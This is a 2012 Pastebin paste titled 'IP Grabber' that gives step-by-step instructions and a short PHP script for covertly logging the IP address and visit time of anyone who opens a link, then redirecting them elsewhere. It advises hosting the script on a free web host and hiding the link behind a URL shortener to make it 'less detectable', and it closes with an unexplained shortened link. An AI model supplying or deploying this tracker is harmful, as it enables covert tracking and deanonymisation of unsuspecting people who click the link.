Advertisement
Guest User

IP Grabber

a guest
Jan 26th, 2012
5,318
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.88 KB | None | 0 0
  1. Ip Grabber
  2. irc.anonops.li #pirates
  3.  
  4. Create a php file. Name it to ip.php
  5.  
  6. paste this code in the php file
  7.  
  8. <?php
  9. $ip = $_SERVER['REMOTE_ADDR'];
  10. $dt = date("l dS \of F Y h:i:s A");
  11. $file=fopen("ip_log.txt","a");
  12. $data = $ip.' '.$dt."\n";
  13. fwrite($file, $data);
  14. fclose($file);
  15. header( 'Location: http://redirects.user.to' ) ;
  16. ?>
  17.  
  18. then Save
  19.  
  20. Create a text file and name it to ip_log.txt
  21. Then create a account with my3gb.com or with
  22. any other web hosting site
  23.  
  24. After that upload the php file (ip.php) and
  25. text file you created (ip_log.txt)
  26.  
  27. then sent out the link.
  28.  
  29. for Example
  30.  
  31. Http://yoursite.com/ip.php or use
  32. a url shorter to make less detectable
  33.  
  34. to check your ip which visited the
  35. link use the file manager provided
  36. by your site open (ip_log.txt) or
  37. ftp to your site and download it..
  38.  
  39. Done
  40.  
  41. Dont (http://goo.gl/1lFwt) go there.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement